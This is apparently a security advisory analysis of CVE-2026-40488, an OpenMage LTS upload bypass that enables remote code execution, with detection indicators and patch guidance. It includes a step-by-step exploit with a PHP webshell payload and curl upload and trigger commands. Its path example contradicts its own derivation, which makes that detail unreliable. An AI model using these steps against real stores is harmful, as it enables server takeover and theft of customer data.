CVE-2026-40488: 
PHP vulnerability analysis and mitigation

CVE-2026-40488 is a file upload extension blocklist bypass vulnerability in OpenMage LTS (an unofficial community-driven Magento Community Edition alternative) that enables authenticated low-privileged users to achieve Remote Code Execution (RCE). The vulnerability affects all versions up to and including 20.16.0, with version 20.17.0 providing the fix. It was published on April 18, 2026 by maintainer sreichel and assigned CVE-2026-40488 on April 20, 2026. The CVSS v3.1 base score is 8.8 (High) and the CVSS v4.0 base score is 8.7 (High) (GitHub Advisory, OpenMage Advisory).

The root cause is CWE-434 (Unrestricted Upload of File with Dangerous Type): the file upload handler in app/code/core/Mage/Catalog/Model/Product/Option/Type/File.php (lines 230–237, _validateUploadedFile()) uses Zend's ExcludeExtension validator referencing only forbidden_extensions = php,exe, while the platform's comprehensive protected_extensions blocklist covers many additional PHP-executable extensions (php3, php4, php5, php7, phtml, phar, pht, htaccess, jsp, asp, etc.). An attacker with a low-privileged account (e.g., a registered customer) can upload a webshell with a .phtml or similar extension via the product custom option file upload feature. Uploaded files are stored in the publicly accessible media/custom_options/quote/ directory, and the storage path is deterministically predictable because the subdirectory is derived from the first two characters of the filename and the filename itself is the MD5 hash of the file contents — both of which the attacker controls before upload (OpenMage Advisory, GitHub Advisory).

Successful exploitation grants an attacker full Remote Code Execution on the server with the permissions of the web server process, enabling complete server compromise. This includes access to database credentials, customer PII, and payment data (data exfiltration), the ability to inject malicious code into served content (supply chain risk), and lateral movement to internal infrastructure. Deployments running Apache with PHP-FPM or Nginx with a generic .phtml→FPM configuration are vulnerable, while Apache with mod_php and php_flag engine 0 or hardened Nginx configurations are not affected (OpenMage Advisory, GitHub Advisory).

A proof-of-concept exploit with step-by-step instructions is publicly available in the GitHub Security Advisory, including specific curl commands, path prediction logic, and pre-computed URLs that achieve RCE (OpenMage Advisory). As of the time of reporting, there is no confirmed evidence of in-the-wild exploitation, and no threat actor attribution has been made. The EPSS score is approximately 0.10% (25th percentile), indicating a currently low but non-negligible probability of exploitation in the next 30 days. The vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog (GitHub Advisory).

1. Reconnaissance: Identify OpenMage LTS instances running versions ≤ 20.16.0 using web fingerprinting tools (e.g., Wappalyzer, Shodan) or by inspecting HTTP response headers and page source for Magento/OpenMage indicators.
2. Obtain a low-privileged account: Register as a customer on the target store, or use existing credentials. No administrative access is required.
3. Prepare the webshell: Create a PHP webshell file with a .phtml extension (e.g., shell.phtml) containing a payload such as <?php system($_GET['cmd']); ?>.
4. Pre-compute the storage path: Calculate the MD5 hash of the webshell's raw bytes and derive the subdirectory from the first two characters of the filename. For shell.phtml, the path becomes media/custom_options/quote/s/h/<md5hash>.phtml. Example:

   SHELL_CONTENT='<?php system($_GET["cmd"]); ?>'
   HASH=$(echo -n "$SHELL_CONTENT" | md5sum | cut -d' ' -f1)
   # Subdirectory: s/h/
   # Full path: media/custom_options/quote/s/h/$HASH.phtml

5. Upload the webshell: Submit the file via the product custom option file upload endpoint, bypassing the incomplete blocklist:

   curl -X POST "https://target.com/vulnerable_upload.php" \
     -F "file=@shell.phtml;filename=shell.phtml"

6. Trigger RCE: Access the pre-computed URL to execute arbitrary commands:

   curl "https://target.com/media/custom_options/quote/d9/bb4d647f16d9e7edfe49216140de2879.phtml?cmd=id"

   (OpenMage Advisory, GitHub Advisory)

• Network: Unusual HTTP POST requests to product custom option file upload endpoints with multipart form data containing .phtml, .phar, .php3, .php4, .php5, .php7, or .pht file extensions; subsequent GET requests to media/custom_options/quote/ paths with those extensions from the same or different source IPs.
• File System: Presence of unexpected .phtml, .phar, .php3–.php7, or .pht files under <webroot>/media/custom_options/quote/ subdirectories; files with MD5-hash-style names (32 hex characters) in that directory.
• Logs: Web server access logs showing POST requests to the file upload endpoint followed by GET requests to media/custom_options/quote/<char>/<char>/<hash>.<php-variant-ext>; PHP error logs or execution traces originating from the media/ directory.
• Process: Unusual child processes spawned by the web server process (e.g., sh, bash, curl, wget, python) with working directories or parent processes associated with the web server user account. (OpenMage Advisory)

Upgrade OpenMage LTS to version 20.17.0, which patches the incomplete blocklist by aligning the file upload validator with the comprehensive protected_extensions list (OpenMage Advisory, GitHub Advisory). For deployments that cannot immediately upgrade, apply the following workarounds:

• Apache: Add an .htaccess file or server configuration block to the media/custom_options/quote/ directory explicitly denying PHP script execution (e.g., php_flag engine off or RemoveHandler .php .phtml .phar).
• Nginx: Ensure the server configuration does not pass .phtml or other PHP-variant extensions in the media/ directory to the PHP-FPM handler.
• Allowlist approach: Where possible, configure product custom options to use an explicit allowlist of permitted extensions rather than relying on the blocklist.

The vulnerability was published by OpenMage maintainer sreichel via the GitHub Security Advisory on April 18, 2026, and subsequently reviewed and added to the GitHub Advisory Database on April 21, 2026 (GitHub Advisory). The advisory was noted on Bluesky (via the CVE tracking account) and picked up by several vulnerability aggregation services shortly after disclosure. No significant independent researcher commentary or major media coverage has been identified beyond standard CVE tracking and aggregation.